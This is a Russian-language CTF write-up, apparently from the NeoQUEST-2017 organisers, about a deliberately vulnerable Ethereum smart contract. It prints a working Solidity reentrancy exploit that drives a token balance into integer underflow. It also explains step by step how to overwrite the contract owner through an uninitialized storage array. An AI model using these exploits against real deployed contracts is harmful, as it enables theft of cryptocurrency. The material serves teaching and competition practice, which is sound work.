Pull to refresh

Криптовалюта Ethereum: пишем эксплойт под уязвимый умный контракт и получаем токены

Reading time10 min
Views29K
Сколько копий уже сломано в разговорах о криптовалюте? Банки и государственные учреждения спорят о ее правовом статусе, а частные организации придумывают различные способы применения блокчейна. Мы же задумались о безопасности этой технологии и связанных с ней продуктов.

На примере задания NeoQUEST-2017 разбираемся с умными контрактами Ethereum – второй по популярности криптовалюты после Биткойна. Участникам соревнования предстояло написать эксплойт к уязвимому контракту. О том, как это сделать — читаем под катом!

Что такое Ethereum?


Ethereum – это криптовалюта, то есть, распределенная база данных, хранящая информацию о том, сколько у кого денег. Пользователи могут взаимодействовать с базой при помощи транзакций — команд, которые проверяются на правильность и собираются в блоки особыми пользователями – майнерами.

Когда транзакция попадает в блок, она считается подтвержденной, и ее эффект вступает в силу. Цепочка блоков транзакций (блокчейн) гарантирует целостность данных и синхронизацию состояния базы данных между всеми пользователями.

Особенностью Ethereum является поддержка умных контрактов. Умный контракт – это код, который вносится в блокчейн и управляет отдельным аккаунтом криптовалюты. Он может принимать и посылать деньги, обрабатывать информацию и хранить важные данные. Управление аккаунтом осуществляется без участия человека по заранее определенному, неизменному алгоритму.

Код умных контрактов можно писать на разных языках, но наиболее распространенным является Solidity (тут можно почитать любопытную хабрастатью про реализацию умного контракта на Solidity). Этот язык похож на JavaScript с добавлением специальных конструкций для работы с блокчейном. Важным отличием от JS является то, что код компилируется в байт-код для виртуальной машины Ethereum (EVM). Публикация байт-кода осуществляется с помощью специальной транзакции.

После попадания в блокчейн умный контракт получает адрес, который может быть использован для отправки и получения криптовалюты. Пользователи могут вызывать различные методы контракта с помощью транзакций. Такие транзакции обрабатываются с помощью кода контракта.



Одно из применений умных контрактов – это создание децентрализованных автономных организаций (DAO). Такие организации обычно продают токены, обменивая на них криптовалюту. Владельцы токенов могут управлять организацией, например, принимать решения о выпуске новых токенов или о спонсировании какого-нибудь предприятия накопленными в умном контракте деньгами. В контракте DAO может собираться довольно большое количество криптовалюты, что делает его желанной мишенью хакеров, ведь ошибка в коде умного контракта может позволить завладеть его богатствами.

Исходные данные к заданию


По легенде, участникам необходимо заполучить двигатель и топливо для космического корабля, а сделать это они могут через сайт компании StarDAO. Информация на сайте указывает на то, что компания использует умный контракт на базе криптовалюты Ethereum для торговли космическим оборудованием.

Код умного контракта:
contract StarDAO 
{
  address owner;
  
  function StarDAO() payable
  {
    owner = msg.sender;
  }
  
  function GetOwner() returns (address)
  {
    return owner;
  }

  modifier onlyOwner
  {
    if (msg.sender != owner) throw;
    _;
  }

  function TransferOwnership(address newOwner) onlyOwner
  {
    owner = newOwner;
  }
  
  mapping (address => uint) starTokens;
  uint starTokensTotalSupply = 0;
    
  function BuyTokens() payable
  {
    starTokensTotalSupply += msg.value;
    starTokens[msg.sender] += msg.value;
  }
    
  function SellTokens(uint amount)
  {
    if (starTokens[msg.sender] >= amount)
    {
      if (msg.sender.call.value(amount)() == false)
        throw;
      starTokensTotalSupply -= amount;
      starTokens[msg.sender] -= amount;
    }
  }  

  function GetBalance(address addr) constant returns (uint)
  {
    return starTokens[addr];
  }
  
  function GetTotalSupply() constant returns (uint)
  {
    return starTokensTotalSupply;
  }
  
  function SendTokens(address addr, uint amount)
  {
    if (starTokens[msg.sender] >= amount)
    {
      starTokens[msg.sender] -= amount;
      starTokens[addr] += amount;
    }
  }
  
  mapping (uint => bool) bonusCodes;
  
  function AddBonusCode(uint code) onlyOwner
  {
    bonusCodes[code] = true;
  }
  
  function HashReverse(bytes s) constant returns (uint8[32])
  {
    uint8[32] res;
    bytes32 z = sha3(s);
    for (uint8 i = 0; i < 32; i++)
      res[31-i] = uint8(z[i]);
    return res;
  }
  
  function CalcCodeHash(bytes code) constant returns (uint)
  {
    var tmp = HashReverse(code);
    uint codeHash = 0;
    for (uint8 i = 0; i < 32; i++)
      codeHash = codeHash * 256 + tmp[i];
    return codeHash;
  }
  
  mapping (address => bool) fuelAccess;
  
  function BuyFuel()
  {
    uint fuelPrice = 1000000000000000000000000;
    if (starTokens[msg.sender] >= fuelPrice)
    {
      starTokens[msg.sender] -= fuelPrice;
      starTokensTotalSupply -= fuelPrice;
      fuelAccess[msg.sender] = true;
    }
  }
  
  function HasFuel(address addr) constant returns (bool)
  {
    return fuelAccess[addr];
  }
  
  mapping (address => bool) driveAccess;
  
  function GetDrive(bytes code)
  {
    uint codeHash = CalcCodeHash(code);
    if (bonusCodes[codeHash])
    {
      bonusCodes[codeHash] = false;
      driveAccess[msg.sender] = true;
    }
  }
  
  function HasDrive(address addr) constant returns (bool)
  {
    return driveAccess[addr];
  }
}



Регистрация на сайте дает доступ к личному кабинету, откуда можно проводить основные операции с криптовалютой: совершать транзакции, создавать умные контракты и взаимодействовать с уже существующими контрактами. Кроме того, при регистрации выдается небольшое количество криптовалюты: 1 ETH, или (что то же самое) 1018 WEI, мельчайших частиц ETH.



Тут же есть вкладка «Получить товар», но при попытке узнать код выдачи происходит ошибка. Похоже, веб-сервер проверяет наличие двигателя и топлива для выбранного аккаунта с помощью умного контракта (не зря же в нем есть функции HasFuel() и HasDrive()!). Код выдачи предоставляется только в том случае, если результат проверки успешный.

Часть 1: получаем топливо


function HasFuel(address addr) constant returns (bool)
  {
    return fuelAccess[addr];
  }


Функция HasFuel() проверяет массив fuelAccess и возвращает true, только если значение true занесено в ячейку массива, соответствующую переданному адресу. Следовательно, нужно добиться выполнения условия fuelAccess[our_address] == true.

function BuyFuel()
  {
    uint fuelPrice = 1000000000000000000000000;
    if (starTokens[msg.sender] >= fuelPrice)
    {
      starTokens[msg.sender] -= fuelPrice;
      starTokensTotalSupply -= fuelPrice;
      fuelAccess[msg.sender] = true;
    }
  }


Функция BuyFuel() устанавливает стоимость топлива в 1024 WEI, то есть, 1 млн. ETH. Затем происходит проверка того, что у пользователя, вызвавшего функцию, есть достаточное количество токенов. В случае успеха токены списываются, а в массив fuelAccess заносится информация о покупке топлива. Следовательно, все, что нужно для получения ключа – раздобыть достаточное количество средств для покупки.

function SellTokens(uint amount)
  {
    if (starTokens[msg.sender] >= amount)
    {
      if (msg.sender.call.value(amount)() == false)
        throw;
      starTokensTotalSupply -= amount;
      starTokens[msg.sender] -= amount;
    }
  }


Обмен криптовалюты на токены, перевод токенов с одного аккаунта на другой и обратный обмен токенов на криптовалюту осуществляется функциями BuyTokens(), SendTokens() и SellTokens(). Последняя представляет особый интерес. Эта функция принимает на вход количество токенов, которые пользователь хочет обменять на криптовалюту, и проверяет наличие достаточного числа токенов у пользователя.

Если проверка пройдена успешна, функция пытается послать пользователю запрошенное число WEI. Если пользователь по какой-то причине не принимает отправленные деньги, вызывается оператор throw, который прекращает выполнение контракта и откатывает все изменения. Если же деньги доходят, то из количества токенов пользователя вычитается количество выведенных токенов.

На первый взгляд, алгоритм работы функции правильный. Это так, но… Не в одном особом случае! Все дело в том, что эту функцию может вызвать не обычный пользователь, а другой умный контракт. У этого контракта может быть реализована так называемая fallback функция, которая вызывается всякий раз, когда контракт принимает деньги. Следовательно, между проверкой условия и списанием токенов можно выполнить произвольный код.

Конечно, код будет выполняться в контексте принимающего оплату контракта и не сможет напрямую повлиять на контракт StarDAO. Но ничего не мешает вызвать оттуда какую-нибудь функцию контракта StarDAO и нарушить атомарность SellTokens().

bool attack = true;
  function () payable
  {
    if (attack)
    {
      attack = false;
      dao.SellTokens(1);
    }
  }


Как это можно использовать? Допустим, есть контракт, у которого сейчас ровно 1 токен в StarDAO. Предположим, в контракте есть логическая переменная attack = true и fallback функция, которая проверяет attack и в случае успеха сбрасывает ее в false и продает 1 токен. Посмотрим, что происходит, если контракт попробует продать один имеющийся у него токен.

А происходит кое-что интересное! Контракт вызывает SellTokens(1). StarDAO проверяет, что starTokens[our_address] ≥ 1 – условие выполняется, ведь у контракта есть как раз 1 токен. StarDAO отправляет контракту 1 WEI, в результате чего вызывается fallback функция. Она сбрасывает флаг attack и вызывает SellTokens(1) еще раз.

StarDAO снова проверяет, что starTokens[our_address] ≥ 1 – условие все еще выполняется, ведь 1 токен пока что не был списан. Поэтому StarDAO еще раз посылает контракту 1 WEI (при этом fallback функция ничего не делает, так как теперь attack = false). После этого StarDAO вычитает из токенов контракта единицу за каждый отправленный WEI.

После первого вычитания количество токенов становится равным нулю, а после второго из-за переполнения целочисленной переменной контракт становится счастливым обладателем (2256-1) токенов. Вполне хватит на топливо (а вместе с ним и на первый ключ)!

Полный код контракта для атаки приведен ниже. В нем показаны особенности взаимодействия с контрактом StarDAO и присутствуют все шаги атаки.

Код эксплойта:
contract StarDAO 
{
  function BuyTokens() payable;
  function SellTokens(uint amount);
  function GetBalance(address addr) constant returns (uint);
  function SendTokens(address addr, uint amount);
}

contract Bad
{
  address owner;
  bool attack;
  StarDAO dao = StarDAO(0x91d6561b996fba322b1a5ecfdf462b4ee0b130d7);
  
  function Bad() payable
  {
    owner = msg.sender;
  }
  
  function launchAttack()
  {
    attack = true;
    dao.BuyTokens.value(1)();
    dao.SellTokens(1);
    dao.SendTokens(owner, dao.GetBalance(this));
  }

  function () payable
  {
    if (attack)
    {
      attack = false;
      dao.SellTokens(1);
    }
  }
}



Часть 2: получаем двигатель


  function GetDrive(bytes code)
  {
    uint codeHash = CalcCodeHash(code);
    if (bonusCodes[codeHash])
    {
      bonusCodes[codeHash] = false;
      driveAccess[msg.sender] = true;
    }
  }


За получение двигателя отвечает функция GetDrive(). Она принимает на вход некий код, вычисляет его модифицированный keccak-256 хэш и проверяет наличие этого хэша в массиве bonusCodes. Если хэш есть, он удаляется, а пользователь получает двигатель.

address owner;
  
  modifier onlyOwner
  {
    if (msg.sender != owner) throw;
    _;
  }
  
  function AddBonusCode(uint code) onlyOwner
  {
    bonusCodes[code] = true;
  }


Добавить хэш в массив bonusCodes можно с помощью функции AddBonusCode(). Загвоздка в том, что модификатор onlyOwner позволяет сделать это только владельцу аккаунта, адрес которого хранится в переменной owner. Значит, чтобы добавить код и затем воспользоваться им, нужно стать владельцем контракта.

function StarDAO() payable
  {
    owner = msg.sender;
  }
  
  function TransferOwnership(address newOwner) onlyOwner
  {
    owner = newOwner;
  }


Переменная owner изменяется в контракте всего в двух местах.

Во-первых, она задается в конструкторе контракта StarDAO(). Конструктор вызывается только один раз – при создании контракта. Значит, использовать его для изменения владельца не получится.

Во-вторых, есть функция TransferOwnership(), но она имеет модификатор onlyOwner. Получается, она тоже не подходит для смены владельца.

В этот момент кажется, что сменить владельца невозможно. Но это не так! Хоть Solidity и похож на JavaScript, он компилируется, а полученный байт-код работает не с переменными, а с адресами в памяти. Значит, можно попробовать определить, где хранится значение owner, и перезаписать его прямо там, на низком уровне.

Для этого нужно разобраться, как работает память в виртуальной машине Ethereum. При выполнении контракта используется два вида памяти – memory и storage (на самом деле, есть еще code, stack и calldata, но это уже нюансы). Memory – это временная память, содержимое которой не записывается в блокчейн и не сохраняется между вызовами контракта. Storage, наоборот, находится в блокчейне и хранит значения постоянных переменных контракта.

Каждый раз, когда в Solidity объявляется переменная без явного указания того, в какой памяти она хранится, тип памяти присваивается ей автоматически. Например, все глобальные переменные и все массивы по умолчанию хранятся в storage. Storage – это адресное пространство с длиной адреса 2256 бит, разбитое на ячейки по 32 байта. Все статические переменные (целые числа, массивы постоянного размера и т. д.) хранятся в storage последовательно, начиная с адреса 0x0. Переменные, размер которых изменяется динамически, хранятся более сложным образом, их адрес вычисляется с использованием хэша keccak-256.

function HashReverse(bytes s) constant returns (uint8[32])
  {
    uint8[32] res;
    bytes32 z = sha3(s);
    for (uint8 i = 0; i < 32; i++)
      res[31-i] = uint8(z[i]);
    return res;
  }


Как же это поможет сменить владельца контракта? Посмотрев на функцию HashReverse(), можно заметить, что в ней используется массив res. При его объявлении не задан тип памяти, значит, он хранится в storage. Кроме того, этот массив только объявлен, но не проинициализирован.

Так как виртуальная машина Ethereum по умолчанию инициализирует все данные нулями, то массиву будет задан адрес 0x0, и он будет играть роль своеобразного NULL POINTER. А значит, при записи в массив будут изменяться первые 32 байта storage, в которых хранится первая объявленная в контракте переменная – owner.

А поскольку ни одна версия Solidity не поддерживает модификатор constant (это слово зарезервировано на будущее для защиты от внесения функцией каких-либо изменений в блокчейн), становится возможным перезаписать адрес владельца контракта.

Записать в переменную owner свой адрес, просто передав его как параметр функции HashReverse(), не выйдет, ведь аргумент предварительно хэшируется. К счастью, адрес Ethereum – это не что иное, как хэш от открытого ключа аккаунта, который можно посмотреть в личном кабинете пользователя.



В примере выше открытый ключ — 0xe969598d9dcacebd89d0ca96f0a66c6908f9c3ff4f6652ac2d110fc49ae8f7d18313f2ecbbb612778d815c22cb858438a504e76c70de013c26c4c86e72dc07a4. Значит, чтобы стать владельцем контракта, следует вызвать (методом transact) HashReverse() с аргументом [0xe9, 0x69, 0x59, 0x8d, 0x9d, 0xca, 0xce, 0xbd, 0x89, 0xd0, 0xca, 0x96, 0xf0, 0xa6, 0x6c, 0x69, 0x08, 0xf9, 0xc3, 0xff, 0x4f, 0x66, 0x52, 0xac, 0x2d, 0x11, 0x0f, 0xc4, 0x9a, 0xe8, 0xf7, 0xd1, 0x83, 0x13, 0xf2, 0xec, 0xbb, 0xb6, 0x12, 0x77, 0x8d, 0x81, 0x5c, 0x22, 0xcb, 0x85, 0x84, 0x38, 0xa5, 0x04, 0xe7, 0x6c, 0x70, 0xde, 0x01, 0x3c, 0x26, 0xc4, 0xc8, 0x6e, 0x72, 0xdc, 0x07, 0xa4]. Вызвав после этого функцию GetOwner(), можно убедиться, что адрес аккаунта и владельца контракта совпадают.



Следующий шаг – добавить код для получения двигателя. Для этого нужно:
  1. Взять какой-нибудь набор байтов (к примеру, [0x01, 0x02, 0x03]).
  2. Посчитать от него хэш keccak-256 (для данного примера получится 0xf1885eda54b7a053318cd41e2093220dab15d65381b1157a3633a83bfd5c9239).
  3. Перевернуть его (0x39925cfd3ba833367a15b18153d615ab0d2293201ed48c3153a0b754da5e88f1).
  4. Представить в виде десятичного числа (26040433828516858466028575311317889779993153936426418137092284197924182591729).
  5. Вызвать AddBonusKey(), передав это число как параметр.

Для проведения преобразований можно, например, использовать библиотеку pysha3 для Python.



Наконец, добавленный код нужно использовать. Для этого можно вызвать GetDrive(), передав байты, на основе которых был создан код. Вуаля, двигатель космического корабля (и второй ключ) получены!

В заключение


В наше время блокчейн начинает находить применение в реальной жизни. Например, он используется для децентрализованного хранения файлов, электронного голосования, а некоторые банки выпускают специальные карты для криптовалют.

Блокчейн гарантирует целостность внесенных в него данных, но никак не защищает от ошибок в выше лежащих приложениях. Наглядный пример – это атака на The DAO, в ходе которой злоумышленник использовал ошибку в умном контракте организации, чтобы похитить огромное количество криптовалюты (эквивалентное 60 млн. $). Эта атака привела к гибели The DAO и пошатнула стабильность Ethereum. К счастью, деньги удалось вернуть их законным владельцам. Тем не менее, инцидент подчеркнул важность обеспечения информационной безопасности в области применения технологии блокчейн.

Мы продемонстрировали проблемы безопасности, связанные с использованием криптовалюты, в одном из заданий NeoQUEST, и очень надеемся, что наши участники узнали много нового в процессе прохождения задания и из этого write-up! Кстати, пока сайт с заданиями еще доступен, те, кто не прошел задание, могут его наконец «добить»!
Tags:
Hubs:
+12
Comments6

Articles

Information

Website
neobit.ru
Registered
Employees
51–100 employees
Location
Россия